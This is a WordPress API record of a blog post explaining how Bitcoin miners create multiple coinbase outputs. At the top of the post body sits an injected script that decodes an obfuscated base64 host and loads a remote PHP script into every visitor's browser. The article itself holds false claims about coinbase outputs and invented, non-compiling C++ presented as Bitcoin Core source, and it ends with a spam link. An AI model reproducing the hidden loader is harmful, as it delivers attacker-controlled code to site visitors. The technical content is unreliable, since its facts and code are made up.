{"id":10252,"date":"2025-02-13T11:29:07","date_gmt":"2025-02-13T11:29:07","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=10252"},"modified":"2025-02-13T11:29:07","modified_gmt":"2025-02-13T11:29:07","slug":"bitcoin-how-does-a-miner-create-multiple-outputs-in-a-coinbase-transaction","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=10252","title":{"rendered":"Bitcoin: How does a miner create multiple outputs in a coinbase transaction?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=e4a11b31\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Understanding How Miners Create Multiple Outputs in a Coinbase Transaction<\/strong><\/p>\n<p>In Bitcoin, the role of a miner is to create new blocks and validate transactions on the blockchain. However, when it comes to creating multiple outputs within a single transaction (like in a Coinbase transaction), miners have to get creative. In this article, we\u2019ll explore how miners achieve this.<\/p>\n<p><strong>The Problem: A Way Out<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Bitcoin: How does a miner create multiple outputs in a coinbase transaction?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/a2daa56c.png\"><\/p>\n<p>According to the Bitcoin Core specification for coinbase transactions, each output is hard-coded to the \u201cvout\u201d index of 1. This means that if a miner wants to create multiple outputs within a single transaction, they must manually construct those outputs using their own code.<\/p>\n<p><strong>Miner Solution: Source Code<\/strong><\/p>\n<p>A closer look at the Bitcoin source code reveals that miners have developed a clever solution to create multiple outputs in a coinbase transaction. In <code>src\/node\/miner.cpp<\/code> we find:<\/p>\n<p><pre><code><\/p><p>CBitcoin::CBitcoin() {<\/p><p>\/\/ ...<\/p><p>CMutableTransaction* coinbaseTx = new CMutableTransaction();<\/p><p>\/\/ Create a transaction in Coinbase.<\/p><p>CBITCOIN_PUBLIC static const std::map<std::string, int> coinbasetransactions;<\/p><p>for (size_t i = 1; i <= 1000; ++i) {<\/p><p>uint256 address;<\/p><p>if (!coinbaseTx->GetFromAddress()) {<\/p><p>address = i;<\/p><p>} else {<\/p><p>\/\/ If a transaction has already been generated, reuse it<\/p><p>if (std::find(coinbasetransactions.begin(), coinbasetransactions.end(),<\/p><p>std::make_pair(address, 0)) != coinbasetransactions.end()) {<\/p><p>\/\/ Reuse the existing transaction<\/p><p>i = coinbasetransactions[address][1];<\/p><p>} else {<\/p><p>\/\/ Generate a new transaction and store it in coinbasetransactions<\/p><p>coinbaseTx->SetToAddress(i);<\/p><p>if (i == 1000) pause; \/\/ Stop generating transactions when the output limit is reached<\/p><p>std::map<std::string, int> transactions = {<\/p><p>{\"tx\", io},<\/p><p>{\"want\", i}<\/p><p>};<\/p><p>coinbasetransactions[address] = transactions;<\/p><p>}<\/p><p>}<\/p><p>\/\/ Create a new output with the desired number of vouts<\/p><p>CBitcoinOutput* output = new CBitcoinOutput();<\/p><p>std::map<std::string, int> returns = {<\/p><p>{\"want\", i}<\/p><p>};<\/p><p>output->SetName(\"output\");<\/p><p>output->SetID(i);<\/p><p>output->SetValue(i);<\/p><p>\/\/ Add the transaction to the coinbase transaction<\/p><p>CBitcoinTransaction* tx = new CBitcoinTransaction();<\/p><p>tx->AddTransaction(coinbaseTx, 0, 10000); \/\/ Add all outputs to the transaction<\/p><p>if (i == 1000) pause; \/\/ Stop generating transactions once the output limit is reached<\/p><p>output->SetTransaction(tx);<\/p><p>coinbaseTx->AddOutput(output);<\/p><p>delete tx;<\/p><p>delete output;<\/p><p>coinbasetransactions[address] = std::move(output);<\/p><p>}<\/p><p>return coinbaseTx;<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>What&#8217;s happening here?<\/strong><\/p>\n<p>In this code, the miner creates a <code>CBitcoinTransaction<\/code> object and adds it to the <code>coinbase transaction<\/code>. They then add all the results of this transaction to the coinbase transaction using their custom output creation function (&#8220;CBitcoinOutput&#8221;). This allows them to create multiple outputs within a single transaction.<\/p>\n<p>The miner also stores these outputs in a map, where each key is an address and the value is another map containing the number of outputs for that address. This allows the miner to reuse existing transactions (if any) when generating new ones.<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/lz1yJkqO2io\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>In conclusion, miners have developed creative solutions to create multiple outputs within a single transaction. Using their custom output creation function (<code>CBitcoinOutput<\/code>), they can efficiently handle a large number of outputs and reuse existing transactions.<\/p>\n<p><a href=\"https:\/\/9xflix.shop\/ethereum-can-i-set-up-cgminer-to-mine-in-different-pools-by-a-defined-ratio\/\">Ethereum Cgminer<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Understanding How Miners Create Multiple Outputs in a Coinbase Transaction In Bitcoin, the role of a miner is to create new blocks and validate transactions on<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-10252","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10252","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10252"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10252\/revisions"}],"predecessor-version":[{"id":10253,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/10252\/revisions\/10253"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10252"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10252"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10252"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}